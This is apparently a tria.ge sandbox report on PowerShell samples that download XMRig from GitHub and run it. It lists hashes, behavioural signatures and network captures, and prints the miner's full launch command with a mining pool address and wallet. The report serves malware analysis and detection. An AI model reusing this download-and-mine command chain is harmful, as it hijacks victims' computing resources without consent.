Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1file01 - c...ia.ps1
windows7-x64
3file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows11-21h2-x64
10file01 - c...ia.ps1
windows7-x64
3file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows11-21h2-x64
3file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
10file01 - c...ia.ps1
windows11-21h2-x64
10file01 - c...ia.ps1
windows10-2004-x64
10file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows11-21h2-x64
3file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
10file01 - c...ia.ps1
windows11-21h2-x64
10file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
3file01 - c...ia.ps1
windows11-21h2-x64
10file01 - c...ia.ps1
windows7-x64
3file01 - c...ia.ps1
windows10-1703-x64
10file01 - c...ia.ps1
windows10-2004-x64
10file01 - c...ia.ps1
windows11-21h2-x64
10file01 - c...9).ps1
windows7-x64
3file01 - c...9).ps1
windows10-1703-x64
10file01 - c...9).ps1
windows10-2004-x64
10file01 - c...9).ps1
windows11-21h2-x64
3Resubmissions
16/06/2024, 07:20 UTC
240616-h6f2psycpm 1016/06/2024, 07:20 UTC
240616-h6f2psvbka 1016/06/2024, 07:20 UTC
240616-h6f2psycpl 1016/06/2024, 07:20 UTC
240616-h6f2psycpk 1016/06/2024, 07:20 UTC
240616-h6f2psvbjh 1016/06/2024, 07:20 UTC
240616-h6fqyaycnr 1016/06/2024, 07:20 UTC
240616-h6fqyaycnq 1016/06/2024, 07:20 UTC
240616-h6fqyaycnp 1016/06/2024, 07:20 UTC
240616-h6fqyavbjg 1016/06/2024, 07:20 UTC
240616-h6fqyaycnn 10Analysis
-
max time kernel
1799s -
max time network
1797s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
16/06/2024, 07:20 UTC
Static task
static1
Behavioral task
behavioral1
Sample
file01 - copia (10) - copia.ps1
Resource
win7-20240611-en
Behavioral task
behavioral2
Sample
file01 - copia (10) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
file01 - copia (10) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral4
Sample
file01 - copia (10) - copia.ps1
Resource
win11-20240508-en
Behavioral task
behavioral5
Sample
file01 - copia (11) - copia.ps1
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
file01 - copia (11) - copia.ps1
Resource
win10-20240611-en
Behavioral task
behavioral7
Sample
file01 - copia (11) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral8
Sample
file01 - copia (11) - copia.ps1
Resource
win11-20240508-en
Behavioral task
behavioral9
Sample
file01 - copia (12) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral10
Sample
file01 - copia (12) - copia.ps1
Resource
win10-20240611-en
Behavioral task
behavioral11
Sample
file01 - copia (12) - copia.ps1
Resource
win10v2004-20240226-en
Behavioral task
behavioral12
Sample
file01 - copia (12) - copia.ps1
Resource
win11-20240508-en
Behavioral task
behavioral13
Sample
file01 - copia (13) - copia.ps1
Resource
win10v2004-20240611-en
Behavioral task
behavioral14
Sample
file01 - copia (13) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral15
Sample
file01 - copia (13) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral16
Sample
file01 - copia (13) - copia.ps1
Resource
win11-20240419-en
Behavioral task
behavioral17
Sample
file01 - copia (14) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral18
Sample
file01 - copia (14) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral19
Sample
file01 - copia (14) - copia.ps1
Resource
win10v2004-20240611-en
Behavioral task
behavioral20
Sample
file01 - copia (14) - copia.ps1
Resource
win11-20240508-en
Behavioral task
behavioral21
Sample
file01 - copia (15) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral22
Sample
file01 - copia (15) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral23
Sample
file01 - copia (15) - copia.ps1
Resource
win10v2004-20240508-en
Behavioral task
behavioral24
Sample
file01 - copia (15) - copia.ps1
Resource
win11-20240611-en
Behavioral task
behavioral25
Sample
file01 - copia (9) - copia.ps1
Resource
win7-20240220-en
Behavioral task
behavioral26
Sample
file01 - copia (9) - copia.ps1
Resource
win10-20240404-en
Behavioral task
behavioral27
Sample
file01 - copia (9) - copia.ps1
Resource
win10v2004-20240611-en
Behavioral task
behavioral28
Sample
file01 - copia (9) - copia.ps1
Resource
win11-20240508-en
Behavioral task
behavioral29
Sample
file01 - copia (9).ps1
Resource
win7-20240611-en
Behavioral task
behavioral30
Sample
file01 - copia (9).ps1
Resource
win10-20240404-en
Behavioral task
behavioral31
Sample
file01 - copia (9).ps1
Resource
win10v2004-20240611-en
Behavioral task
behavioral32
Sample
file01 - copia (9).ps1
Resource
win11-20240508-en
General
-
Target
file01 - copia (9).ps1
-
Size
462B
-
MD5
5e2dca825bed214a14705357df13d8d6
-
SHA1
04f20b1094e5e905bcbcdfc0f1279f6a6e2bbb9e
-
SHA256
b45546367df23b2459a55ffa753ad4d66f8588263f87c339fb81cde87c3ffba4
-
SHA512
70a31874a475560704829224c71d6e9f01d6dc3bfe5b1f453ff817753f7a6d1ed51249481cd14e8adae497ad6ddfbe8b4e9556556886dd97c9587b24b0701501
Malware Config
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral31/files/0x000700000002354a-40.dat family_xmrig behavioral31/files/0x000700000002354a-40.dat xmrig behavioral31/memory/3836-49-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-52-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-55-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-57-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-60-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-61-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-62-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-63-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-64-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-65-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-66-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-67-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-68-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-69-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-70-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-71-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-72-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-73-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-74-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-75-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-76-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-77-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-78-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-79-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-80-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-81-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-82-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-83-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-84-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-85-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-86-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-87-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-88-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-89-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-90-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-91-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-92-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-93-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-94-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-95-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-96-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-97-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-98-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-99-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-100-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-101-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-102-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-103-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-104-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-105-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-106-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-107-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-108-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-109-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-110-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-111-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-112-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-113-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-114-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-115-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-116-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig behavioral31/memory/3836-117-0x00007FF66FAE0000-0x00007FF670713000-memory.dmp xmrig -
Blocklisted process makes network request 2 IoCs
flow pid Process 2 4876 powershell.exe 7 4876 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 3836 xmrig.exe -
pid Process 4876 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4876 powershell.exe 4876 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 4876 powershell.exe Token: SeLockMemoryPrivilege 3836 xmrig.exe Token: SeLockMemoryPrivilege 3836 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3836 xmrig.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4876 wrote to memory of 3836 4876 powershell.exe 88 PID 4876 wrote to memory of 3836 4876 powershell.exe 88
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\file01 - copia (9).ps1"1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4876 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe"C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe" -o gulf.moneroocean.stream:10128 -u 45aHvZ4X3ZvdhLiEiP1cjsXmSkMNoM2QFYNmXCsoTRY9h2EwjtoYcfrVpEojtmBeg5cRsY9J82Lqp6hUanQ1Dsu4UNfKxdF2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3836
-
Network
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
GEThttps://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zippowershell.exeRemote address:20.26.156.215:443RequestGET /xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-gcc-win64.zip HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: github.com
Connection: Keep-Alive
ResponseHTTP/1.1 302 Found
Date: Mon, 17 Jun 2024 12:27:36 GMT
Content-Type: text/html; charset=utf-8
Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240617%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240617T122736Z&X-Amz-Expires=300&X-Amz-Signature=8c1d98db3828747951a3377a8c3698619b9f2fc04c2d3c1bde827801950e413e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-stream
Cache-Control: no-cache
Strict-Transport-Security: max-age=31536000; includeSubdomains; preload
X-Frame-Options: deny
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer-when-downgrade
Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com api.githubcopilot.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com/v1/engines/github-completion/completions *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.com/assets-cdn/worker/ gist.github.com/assets-cdn/worker/
Content-Length: 0
X-GitHub-Request-Id: F89F:E21EE:1321F4:149BDD:66702BB7
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN AResponseobjects.githubusercontent.comIN A185.199.110.133objects.githubusercontent.comIN A185.199.109.133objects.githubusercontent.comIN A185.199.108.133objects.githubusercontent.comIN A185.199.111.133
-
GEThttps://objects.githubusercontent.com/github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240617%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240617T122736Z&X-Amz-Expires=300&X-Amz-Signature=8c1d98db3828747951a3377a8c3698619b9f2fc04c2d3c1bde827801950e413e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-streampowershell.exeRemote address:185.199.110.133:443RequestGET /github-production-release-asset-2e65be/88327406/d2177920-74f0-4976-86ae-37559a7887d6?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20240617%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240617T122736Z&X-Amz-Expires=300&X-Amz-Signature=8c1d98db3828747951a3377a8c3698619b9f2fc04c2d3c1bde827801950e413e&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=88327406&response-content-disposition=attachment%3B%20filename%3Dxmrig-6.21.3-gcc-win64.zip&response-content-type=application%2Foctet-stream HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1237
Host: objects.githubusercontent.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 3779186
Content-Type: application/octet-stream
Last-Modified: Tue, 23 Apr 2024 09:49:50 GMT
ETag: "0x8DC637AB80D3BC3"
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
x-ms-request-id: bf7c61d6-801e-0069-7c64-95d819000000
x-ms-version: 2020-10-02
x-ms-creation-time: Tue, 23 Apr 2024 09:49:50 GMT
x-ms-lease-status: unlocked
x-ms-lease-state: available
x-ms-blob-type: BlockBlob
Content-Disposition: attachment; filename=xmrig-6.21.3-gcc-win64.zip
x-ms-server-encrypted: true
Via: 1.1 varnish, 1.1 varnish
Accept-Ranges: bytes
Age: 2097
Date: Mon, 17 Jun 2024 12:27:36 GMT
X-Served-By: cache-iad-kcgs7200174-IAD, cache-lcy-eglc8600054-LCY
X-Cache: HIT, HIT
X-Cache-Hits: 3545, 0
X-Timer: S1718627256.479121,VS0,VE367
-
Remote address:8.8.8.8:53Request215.156.26.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request72.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestg.bing.comIN AResponseg.bing.comIN CNAMEg-bing-com.dual-a-0034.a-msedge.netg-bing-com.dual-a-0034.a-msedge.netIN CNAMEdual-a-0034.a-msedge.netdual-a-0034.a-msedge.netIN A13.107.21.237dual-a-0034.a-msedge.netIN A204.79.197.237
-
GEThttps://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8BRemote address:13.107.21.237:443RequestGET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=531098720&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8B HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MUID=3193B47B7FA9691931BEA0DA7E8E68B1; domain=.bing.com; expires=Sat, 12-Jul-2025 12:27:36 GMT; path=/; SameSite=None; Secure; Priority=High;
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 923889C611CF42BFB915AB8FA3FD8BA7 Ref B: LON04EDGE0610 Ref C: 2024-06-17T12:27:36Z
date: Mon, 17 Jun 2024 12:27:36 GMT
-
GEThttps://g.bing.com/neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8BRemote address:13.107.21.237:443RequestGET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De8pMKjAGusmz1pfG1QhU_k0jVUCUw-O8LT-o_hXmt4D-tOvx-X29y-G1BVe-tOCeakx9JErZZAiaHnS5Lw-ZpYQLc9-eo9xq8uQr1-q37vIQbPrnLn3DgGRmsHcL_gz8umi-AWmxdABQoaVNI1Bnk2QgZwqWznEMUcOQ1hwaHg4tikwRj6%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmbWljcm9zb2Z0LTM2NSUyZm1pY3Jvc29mdC0zNjUtYmFzaWMtZmFxcyUzZk9DSUQlM2RjbW1sdWMyOWxxOQ%26rlid%3D26b727c6fd4019e3bfe841ae2cb23658&TIME=20240611T223942Z&CID=531098720&EID=&tids=15000&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525&muid=12D800F85EB4CAF16CA7FE64B9B0CF8B HTTP/2.0
host: g.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=3193B47B7FA9691931BEA0DA7E8E68B1; _EDGE_S=SID=2BA21EED6DE16E50108A0A4C6CB66F05
ResponseHTTP/2.0 204
pragma: no-cache
expires: Fri, 01 Jan 1990 00:00:00 GMT
set-cookie: MSPTC=mjSHf5ndjCdRtin5G9NykYkrsekihoKjWaLL2_fWO68; domain=.bing.com; expires=Sat, 12-Jul-2025 12:27:37 GMT; path=/; Partitioned; secure; SameSite=None
strict-transport-security: max-age=31536000; includeSubDomains; preload
access-control-allow-origin: *
x-cache: CONFIG_NOCACHE
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: EA732149D29640D5B53110FBACDA44C3 Ref B: LON04EDGE0610 Ref C: 2024-06-17T12:27:37Z
date: Mon, 17 Jun 2024 12:27:36 GMT
-
GEThttps://www.bing.com/aes/c.gif?RG=ed61972297e44bcab96f89e3ec0058cf&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240611T223942Z&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525Remote address:23.62.61.72:443RequestGET /aes/c.gif?RG=ed61972297e44bcab96f89e3ec0058cf&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20240611T223942Z&adUnitId=11730597&localId=w:12D800F8-5EB4-CAF1-6CA7-FE64B9B0CF8B&deviceId=6825835407611525 HTTP/2.0
host: www.bing.com
accept-encoding: gzip, deflate
user-agent: WindowsShellClient/9.0.40929.0 (Windows)
cookie: MUID=3193B47B7FA9691931BEA0DA7E8E68B1
ResponseHTTP/2.0 200
pragma: no-cache
vary: Origin
p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo
accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
x-msedge-ref: Ref A: 5AAB214DC7F245FD95B026E3A6E9D51F Ref B: AMS04EDGE1210 Ref C: 2024-06-17T12:27:37Z
content-length: 0
date: Mon, 17 Jun 2024 12:27:37 GMT
set-cookie: _EDGE_S=SID=2BA21EED6DE16E50108A0A4C6CB66F05; path=/; httponly; domain=bing.com
set-cookie: MUIDB=3193B47B7FA9691931BEA0DA7E8E68B1; path=/; httponly; expires=Sat, 12-Jul-2025 12:27:37 GMT
alt-svc: h3=":443"; ma=93600
x-cdn-traceid: 0.443d3e17.1718627257.12cfa9d
-
Remote address:8.8.8.8:53Request203.107.17.2.in-addr.arpaIN PTRResponse203.107.17.2.in-addr.arpaIN PTRa2-17-107-203deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request133.110.199.185.in-addr.arpaIN PTRResponse133.110.199.185.in-addr.arpaIN PTRcdn-185-199-110-133githubcom
-
Remote address:8.8.8.8:53Request72.61.62.23.in-addr.arpaIN PTRResponse72.61.62.23.in-addr.arpaIN PTRa23-62-61-72deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request237.21.107.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request26.35.223.20.in-addr.arpaIN PTRResponse
-
